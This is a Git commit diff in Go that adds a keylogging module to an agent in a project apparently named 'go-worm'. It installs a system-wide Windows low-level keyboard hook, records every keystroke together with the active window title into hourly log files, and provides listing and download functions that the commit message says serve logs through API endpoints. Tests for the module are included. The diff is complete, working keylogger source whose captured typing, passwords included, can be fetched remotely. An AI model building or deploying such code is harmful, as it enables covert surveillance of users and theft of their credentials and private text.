Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
@@ -0,0 +1,16 @@
|
||||
package keylog
|
||||
|
||||
import "time"
|
||||
|
||||
type Event struct {
|
||||
Time time.Time
|
||||
Injected bool
|
||||
Window string
|
||||
Text string
|
||||
}
|
||||
|
||||
type FileInfo struct {
|
||||
Name string `json:"name"`
|
||||
Size int64 `json:"size"`
|
||||
ModifiedTime time.Time `json:"modified_time"`
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package keylog
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const hourBucketLayout = "2006-01-02-15"
|
||||
|
||||
var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`)
|
||||
|
||||
func HourBucket(t time.Time) string {
|
||||
return t.Local().Format(hourBucketLayout)
|
||||
}
|
||||
|
||||
func LogFilename(bucket string) string {
|
||||
return bucket + ".log"
|
||||
}
|
||||
|
||||
func ValidLogFilename(name string) bool {
|
||||
return logFilenamePattern.MatchString(filepath.Base(name))
|
||||
}
|
||||
|
||||
func normalizeWindow(window string) string {
|
||||
window = strings.TrimSpace(window)
|
||||
if window == "" {
|
||||
return "?"
|
||||
}
|
||||
return window
|
||||
}
|
||||
|
||||
func eventSource(injected bool) string {
|
||||
if injected {
|
||||
return "injected"
|
||||
}
|
||||
return "user"
|
||||
}
|
||||
|
||||
func sectionHeader(source, window string) string {
|
||||
return fmt.Sprintf("[%s · %s]\n", source, normalizeWindow(window))
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//go:build !windows
|
||||
|
||||
package keylog
|
||||
|
||||
func startPlatform(writer *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
||||
close(done)
|
||||
return nil
|
||||
}
|
||||
|
||||
func stopPlatform() {}
|
||||
|
||||
func initKeylog() error {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,315 @@
|
||||
//go:build windows
|
||||
|
||||
package keylog
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
const (
|
||||
whKeyboardLL = 13
|
||||
wmKeydown = 0x0100
|
||||
wmKeyup = 0x0101
|
||||
wmSyskeydown = 0x0104
|
||||
wmSyskeyup = 0x0105
|
||||
wmQuit = 0x0012
|
||||
llkhfInjected = 0x10
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
procSetWindowsHookExW = user32.NewProc("SetWindowsHookExW")
|
||||
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
|
||||
procCallNextHookEx = user32.NewProc("CallNextHookEx")
|
||||
procGetMessageW = user32.NewProc("GetMessageW")
|
||||
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
|
||||
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
||||
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
||||
procGetKeyboardState = user32.NewProc("GetKeyboardState")
|
||||
procToUnicode = user32.NewProc("ToUnicode")
|
||||
)
|
||||
|
||||
type kbdLLHookStruct struct {
|
||||
VkCode uint32
|
||||
ScanCode uint32
|
||||
Flags uint32
|
||||
Time uint32
|
||||
DwExtraInfo uintptr
|
||||
}
|
||||
|
||||
type msg struct {
|
||||
HWnd uintptr
|
||||
Message uint32
|
||||
WParam uintptr
|
||||
LParam uintptr
|
||||
Time uint32
|
||||
Pt struct {
|
||||
X int32
|
||||
Y int32
|
||||
}
|
||||
}
|
||||
|
||||
type modifierState struct {
|
||||
shiftL bool
|
||||
shiftR bool
|
||||
ctrl bool
|
||||
alt bool
|
||||
}
|
||||
|
||||
func (m modifierState) shift() bool {
|
||||
return m.shiftL || m.shiftR
|
||||
}
|
||||
|
||||
var (
|
||||
hookMu sync.Mutex
|
||||
hookEvents chan Event
|
||||
hookThreadID uint32
|
||||
hookMods modifierState
|
||||
lastHWND uintptr
|
||||
lastTitle string
|
||||
)
|
||||
|
||||
func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
||||
hookEvents = events
|
||||
ready := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(done)
|
||||
_ = runHookThread(ready)
|
||||
hookEvents = nil
|
||||
hookThreadID = 0
|
||||
}()
|
||||
|
||||
go func() {
|
||||
select {
|
||||
case <-ready:
|
||||
case <-stop:
|
||||
return
|
||||
}
|
||||
<-stop
|
||||
threadID := hookThreadID
|
||||
if threadID != 0 {
|
||||
_, _, _ = procPostThreadMessageW.Call(uintptr(threadID), wmQuit, 0, 0)
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
func stopPlatform() {}
|
||||
|
||||
func initKeylog() error {
|
||||
dir, err := config.KeylogDir()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return PruneOldLogs(dir, config.KeylogRetentionDays())
|
||||
}
|
||||
|
||||
func runHookThread(ready chan struct{}) error {
|
||||
hookThreadID = windowsGetCurrentThreadId()
|
||||
close(ready)
|
||||
|
||||
hookProc := syscall.NewCallback(keyboardHookProc)
|
||||
handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookProc, 0, 0)
|
||||
if handle == 0 {
|
||||
return err
|
||||
}
|
||||
defer procUnhookWindowsHookEx.Call(handle)
|
||||
|
||||
var message msg
|
||||
for {
|
||||
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), 0, 0, 0)
|
||||
switch int32(ret) {
|
||||
case -1:
|
||||
return fmt.Errorf("GetMessage failed")
|
||||
case 0:
|
||||
return nil
|
||||
}
|
||||
if message.Message == wmQuit {
|
||||
return nil
|
||||
}
|
||||
_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&message)))
|
||||
_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message)))
|
||||
}
|
||||
}
|
||||
|
||||
func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
|
||||
if code >= 0 {
|
||||
kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
|
||||
switch wParam {
|
||||
case wmKeydown, wmSyskeydown:
|
||||
if isModifierVK(kb.VkCode) {
|
||||
hookMods.update(kb.VkCode, true)
|
||||
} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
|
||||
select {
|
||||
case hookEvents <- event:
|
||||
default:
|
||||
// ponytail: drop when full; upgrade path is larger buffer
|
||||
}
|
||||
}
|
||||
case wmKeyup, wmSyskeyup:
|
||||
if isModifierVK(kb.VkCode) {
|
||||
hookMods.update(kb.VkCode, false)
|
||||
}
|
||||
}
|
||||
}
|
||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam)
|
||||
return ret
|
||||
}
|
||||
|
||||
func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) {
|
||||
injected := kb.Flags&llkhfInjected != 0
|
||||
if injected && kb.VkCode == 0 && kb.ScanCode >= 32 && kb.ScanCode != 127 {
|
||||
return Event{
|
||||
Time: time.Now(),
|
||||
Injected: true,
|
||||
Window: foregroundTitle(),
|
||||
Text: string(rune(kb.ScanCode)),
|
||||
}, true
|
||||
}
|
||||
|
||||
text, ok := appendText(kb.VkCode, kb.ScanCode, sysKey)
|
||||
if !ok {
|
||||
return Event{}, false
|
||||
}
|
||||
return Event{
|
||||
Time: time.Now(),
|
||||
Injected: injected,
|
||||
Window: foregroundTitle(),
|
||||
Text: text,
|
||||
}, true
|
||||
}
|
||||
|
||||
func isModifierVK(vk uint32) bool {
|
||||
switch vk {
|
||||
case 0x10, 0x11, 0x12, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (m *modifierState) update(vk uint32, down bool) {
|
||||
switch vk {
|
||||
case 0xA0:
|
||||
m.shiftL = down
|
||||
case 0xA1:
|
||||
m.shiftR = down
|
||||
case 0x10:
|
||||
m.shiftL = down
|
||||
m.shiftR = down
|
||||
case 0xA2, 0xA3, 0x11:
|
||||
m.ctrl = down
|
||||
case 0xA4, 0xA5, 0x12:
|
||||
m.alt = down
|
||||
}
|
||||
}
|
||||
|
||||
func appendText(vk, scanCode uint32, sysKey bool) (string, bool) {
|
||||
if hookMods.ctrl || hookMods.alt {
|
||||
return "", false
|
||||
}
|
||||
if text, ok := specialText(vk); ok {
|
||||
return text, true
|
||||
}
|
||||
if char, ok := keyChar(vk, scanCode); ok {
|
||||
return char, true
|
||||
}
|
||||
if sysKey && vk == 0x20 {
|
||||
return " ", true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
func specialText(vk uint32) (string, bool) {
|
||||
switch vk {
|
||||
case 0x0D:
|
||||
return "\n", true
|
||||
case 0x09:
|
||||
return "\t", true
|
||||
case 0x20:
|
||||
return " ", true
|
||||
default:
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
|
||||
func keyChar(vk, scanCode uint32) (string, bool) {
|
||||
var state [256]byte
|
||||
ok, _, _ := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&state[0])))
|
||||
if ok == 0 {
|
||||
return "", false
|
||||
}
|
||||
applyHookMods(&state)
|
||||
if vk < uint32(len(state)) {
|
||||
state[vk] |= 0x80
|
||||
}
|
||||
|
||||
var buf [8]uint16
|
||||
n, _, _ := procToUnicode.Call(
|
||||
uintptr(vk),
|
||||
uintptr(scanCode),
|
||||
uintptr(unsafe.Pointer(&state[0])),
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(len(buf)),
|
||||
0,
|
||||
)
|
||||
if n != 1 {
|
||||
return "", false
|
||||
}
|
||||
r := rune(buf[0])
|
||||
if r < 32 || r == 127 {
|
||||
return "", false
|
||||
}
|
||||
return string(r), true
|
||||
}
|
||||
|
||||
func applyHookMods(state *[256]byte) {
|
||||
setDown := func(vk byte, down bool) {
|
||||
if down {
|
||||
state[vk] |= 0x80
|
||||
} else {
|
||||
state[vk] &^= 0x80
|
||||
}
|
||||
}
|
||||
shift := hookMods.shift()
|
||||
setDown(0x10, shift)
|
||||
setDown(0xA0, hookMods.shiftL)
|
||||
setDown(0xA1, hookMods.shiftR)
|
||||
}
|
||||
|
||||
func foregroundTitle() string {
|
||||
hwnd, _, _ := procGetForegroundWindow.Call()
|
||||
if hwnd == 0 {
|
||||
lastHWND = 0
|
||||
lastTitle = "?"
|
||||
return lastTitle
|
||||
}
|
||||
if hwnd == lastHWND && lastTitle != "" {
|
||||
return lastTitle
|
||||
}
|
||||
lastHWND = hwnd
|
||||
var buf [512]uint16
|
||||
n, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
if n == 0 {
|
||||
lastTitle = "?"
|
||||
return lastTitle
|
||||
}
|
||||
lastTitle = syscall.UTF16ToString(buf[:n])
|
||||
return lastTitle
|
||||
}
|
||||
|
||||
func windowsGetCurrentThreadId() uint32 {
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
getCurrentThreadId := kernel32.NewProc("GetCurrentThreadId")
|
||||
id, _, _ := getCurrentThreadId.Call()
|
||||
return uint32(id)
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package keylog
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
writer *Writer
|
||||
events chan Event
|
||||
stopCh chan struct{}
|
||||
doneCh chan struct{}
|
||||
writerWG sync.WaitGroup
|
||||
)
|
||||
|
||||
func Start() error {
|
||||
if !config.KeylogEnabled() {
|
||||
return nil
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if running {
|
||||
return nil
|
||||
}
|
||||
if err := initKeylog(); err != nil {
|
||||
return err
|
||||
}
|
||||
dir, err := config.KeylogDir()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
w, err := NewWriter(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
events = make(chan Event, 256)
|
||||
stopCh = make(chan struct{})
|
||||
doneCh = make(chan struct{})
|
||||
|
||||
writerWG.Add(1)
|
||||
go func() {
|
||||
defer writerWG.Done()
|
||||
for {
|
||||
select {
|
||||
case event := <-events:
|
||||
_ = w.Write(event)
|
||||
case <-stopCh:
|
||||
_ = w.Close()
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
if err := startPlatform(w, events, stopCh, doneCh); err != nil {
|
||||
close(stopCh)
|
||||
writerWG.Wait()
|
||||
events = nil
|
||||
stopCh = nil
|
||||
doneCh = nil
|
||||
return err
|
||||
}
|
||||
|
||||
writer = w
|
||||
running = true
|
||||
return nil
|
||||
}
|
||||
|
||||
func Stop() {
|
||||
mu.Lock()
|
||||
if !running {
|
||||
mu.Unlock()
|
||||
return
|
||||
}
|
||||
stop := stopCh
|
||||
done := doneCh
|
||||
running = false
|
||||
writer = nil
|
||||
events = nil
|
||||
stopCh = nil
|
||||
doneCh = nil
|
||||
mu.Unlock()
|
||||
|
||||
if stop != nil {
|
||||
close(stop)
|
||||
}
|
||||
writerWG.Wait()
|
||||
if done != nil {
|
||||
<-done
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
package keylog
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestHourBucket(t *testing.T) {
|
||||
t.Parallel()
|
||||
when := time.Date(2026, 8, 28, 13, 45, 0, 0, time.FixedZone("EEST", 3*3600))
|
||||
if got := HourBucket(when); got != "2026-08-28-13" {
|
||||
t.Fatalf("HourBucket() = %q, want 2026-08-28-13", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLogFilename(t *testing.T) {
|
||||
t.Parallel()
|
||||
if got := LogFilename("2026-08-28-13"); got != "2026-08-28-13.log" {
|
||||
t.Fatalf("LogFilename() = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidLogFilename(t *testing.T) {
|
||||
t.Parallel()
|
||||
cases := map[string]bool{
|
||||
"2026-08-28-13.log": true,
|
||||
"2026-01-01-00.log": true,
|
||||
"../2026-08-28-13.log": true,
|
||||
"notes.log": false,
|
||||
"2026-08-28.log": false,
|
||||
"2026-08-28-13.txt": false,
|
||||
"": false,
|
||||
}
|
||||
for name, want := range cases {
|
||||
if got := ValidLogFilename(name); got != want {
|
||||
t.Fatalf("ValidLogFilename(%q) = %v, want %v", name, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSectionHeader(t *testing.T) {
|
||||
t.Parallel()
|
||||
got := sectionHeader("injected", "Notepad")
|
||||
want := "[injected · Notepad]\n"
|
||||
if got != want {
|
||||
t.Fatalf("sectionHeader() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriterTranscript(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
writer, err := NewWriter(dir)
|
||||
if err != nil {
|
||||
t.Fatalf("NewWriter: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = writer.Close() })
|
||||
|
||||
when := time.Date(2026, 8, 28, 13, 0, 0, 0, time.Local)
|
||||
events := []Event{
|
||||
{Time: when, Window: "Cursor - main.go", Text: "hello"},
|
||||
{Time: when, Window: "Cursor - main.go", Text: " world"},
|
||||
{Time: when, Window: "Notepad", Injected: true, Text: "ai "},
|
||||
{Time: when, Window: "Notepad", Injected: true, Text: "typed"},
|
||||
}
|
||||
for _, event := range events {
|
||||
if err := writer.Write(event); err != nil {
|
||||
t.Fatalf("Write: %v", err)
|
||||
}
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatalf("Close: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(dir, LogFilename(HourBucket(when))))
|
||||
if err != nil {
|
||||
t.Fatalf("read file: %v", err)
|
||||
}
|
||||
text := string(data)
|
||||
wantParts := []string{
|
||||
"[user · Cursor - main.go]",
|
||||
"hello world",
|
||||
"[injected · Notepad]",
|
||||
"ai typed",
|
||||
}
|
||||
for _, part := range wantParts {
|
||||
if !strings.Contains(text, part) {
|
||||
t.Fatalf("file = %q, missing %q", text, part)
|
||||
}
|
||||
}
|
||||
if strings.Count(text, "[user · Cursor - main.go]") != 1 {
|
||||
t.Fatalf("expected one user section header, got %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriterRotation(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
writer, err := NewWriter(dir)
|
||||
if err != nil {
|
||||
t.Fatalf("NewWriter: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = writer.Close() })
|
||||
|
||||
zone := time.FixedZone("EEST", 3*3600)
|
||||
first := time.Date(2026, 8, 28, 13, 59, 0, 0, zone)
|
||||
second := time.Date(2026, 8, 28, 14, 0, 0, 0, zone)
|
||||
|
||||
if err := writer.Write(Event{Time: first, Window: "Notepad", Text: "a"}); err != nil {
|
||||
t.Fatalf("Write first: %v", err)
|
||||
}
|
||||
if err := writer.Write(Event{Time: second, Window: "Notepad", Text: "b"}); err != nil {
|
||||
t.Fatalf("Write second: %v", err)
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatalf("Close: %v", err)
|
||||
}
|
||||
|
||||
firstData, err := os.ReadFile(filepath.Join(dir, "2026-08-28-13.log"))
|
||||
if err != nil {
|
||||
t.Fatalf("read first file: %v", err)
|
||||
}
|
||||
secondData, err := os.ReadFile(filepath.Join(dir, "2026-08-28-14.log"))
|
||||
if err != nil {
|
||||
t.Fatalf("read second file: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(firstData), "a") {
|
||||
t.Fatalf("first file = %q", firstData)
|
||||
}
|
||||
if !strings.Contains(string(secondData), "b") {
|
||||
t.Fatalf("second file = %q", secondData)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPruneOldLogs(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
oldPath := filepath.Join(dir, "2020-01-01-12.log")
|
||||
newPath := filepath.Join(dir, "2026-08-28-13.log")
|
||||
if err := os.WriteFile(oldPath, []byte("old"), 0o600); err != nil {
|
||||
t.Fatalf("write old: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(newPath, []byte("new"), 0o600); err != nil {
|
||||
t.Fatalf("write new: %v", err)
|
||||
}
|
||||
oldTime := time.Now().AddDate(0, 0, -30)
|
||||
if err := os.Chtimes(oldPath, oldTime, oldTime); err != nil {
|
||||
t.Fatalf("Chtimes old: %v", err)
|
||||
}
|
||||
|
||||
if err := PruneOldLogs(dir, 7); err != nil {
|
||||
t.Fatalf("PruneOldLogs: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(oldPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("old file still present")
|
||||
}
|
||||
if _, err := os.Stat(newPath); err != nil {
|
||||
t.Fatalf("new file missing: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOpenValidation(t *testing.T) {
|
||||
if _, _, err := Open("bad-name.log"); err != os.ErrInvalid {
|
||||
t.Fatalf("Open bad-name.log = %v, want ErrInvalid", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package keylog
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
func Dir() (string, error) {
|
||||
return config.KeylogDir()
|
||||
}
|
||||
|
||||
func List() ([]FileInfo, error) {
|
||||
dir, err := Dir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
var files []FileInfo
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() || !ValidLogFilename(entry.Name()) {
|
||||
continue
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
files = append(files, FileInfo{
|
||||
Name: entry.Name(),
|
||||
Size: info.Size(),
|
||||
ModifiedTime: info.ModTime(),
|
||||
})
|
||||
}
|
||||
sort.Slice(files, func(i, j int) bool {
|
||||
return files[i].ModifiedTime.After(files[j].ModifiedTime)
|
||||
})
|
||||
return files, nil
|
||||
}
|
||||
|
||||
func Open(name string) (*os.File, os.FileInfo, error) {
|
||||
if !ValidLogFilename(name) {
|
||||
return nil, nil, os.ErrInvalid
|
||||
}
|
||||
dir, err := Dir()
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
path := filepath.Join(dir, filepath.Base(name))
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil, nil, os.ErrInvalid
|
||||
}
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
return file, info, nil
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package keylog
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Writer struct {
|
||||
dir string
|
||||
file *os.File
|
||||
bucket string
|
||||
curWindow string
|
||||
curSource string
|
||||
}
|
||||
|
||||
func NewWriter(dir string) (*Writer, error) {
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Writer{dir: dir}, nil
|
||||
}
|
||||
|
||||
func (w *Writer) Write(event Event) error {
|
||||
if event.Text == "" {
|
||||
return nil
|
||||
}
|
||||
bucket := HourBucket(event.Time)
|
||||
if bucket != w.bucket {
|
||||
if err := w.rotate(bucket); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
window := normalizeWindow(event.Window)
|
||||
source := eventSource(event.Injected)
|
||||
if window != w.curWindow || source != w.curSource {
|
||||
if w.curWindow != "" {
|
||||
if _, err := w.file.WriteString("\n\n"); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if _, err := w.file.WriteString(sectionHeader(source, window)); err != nil {
|
||||
return err
|
||||
}
|
||||
w.curWindow = window
|
||||
w.curSource = source
|
||||
}
|
||||
|
||||
_, err := w.file.WriteString(event.Text)
|
||||
return err
|
||||
}
|
||||
|
||||
func (w *Writer) rotate(bucket string) error {
|
||||
if w.file != nil {
|
||||
if err := w.file.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
w.file = nil
|
||||
}
|
||||
path := filepath.Join(w.dir, LogFilename(bucket))
|
||||
file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
w.file = file
|
||||
w.bucket = bucket
|
||||
w.curWindow = ""
|
||||
w.curSource = ""
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *Writer) Close() error {
|
||||
if w.file == nil {
|
||||
return nil
|
||||
}
|
||||
err := w.file.Close()
|
||||
w.file = nil
|
||||
w.bucket = ""
|
||||
w.curWindow = ""
|
||||
w.curSource = ""
|
||||
return err
|
||||
}
|
||||
|
||||
func PruneOldLogs(dir string, retentionDays int) error {
|
||||
if retentionDays <= 0 {
|
||||
return nil
|
||||
}
|
||||
cutoff := time.Now().AddDate(0, 0, -retentionDays)
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() || !ValidLogFilename(entry.Name()) {
|
||||
continue
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if info.ModTime().Before(cutoff) {
|
||||
_ = os.Remove(filepath.Join(dir, entry.Name()))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user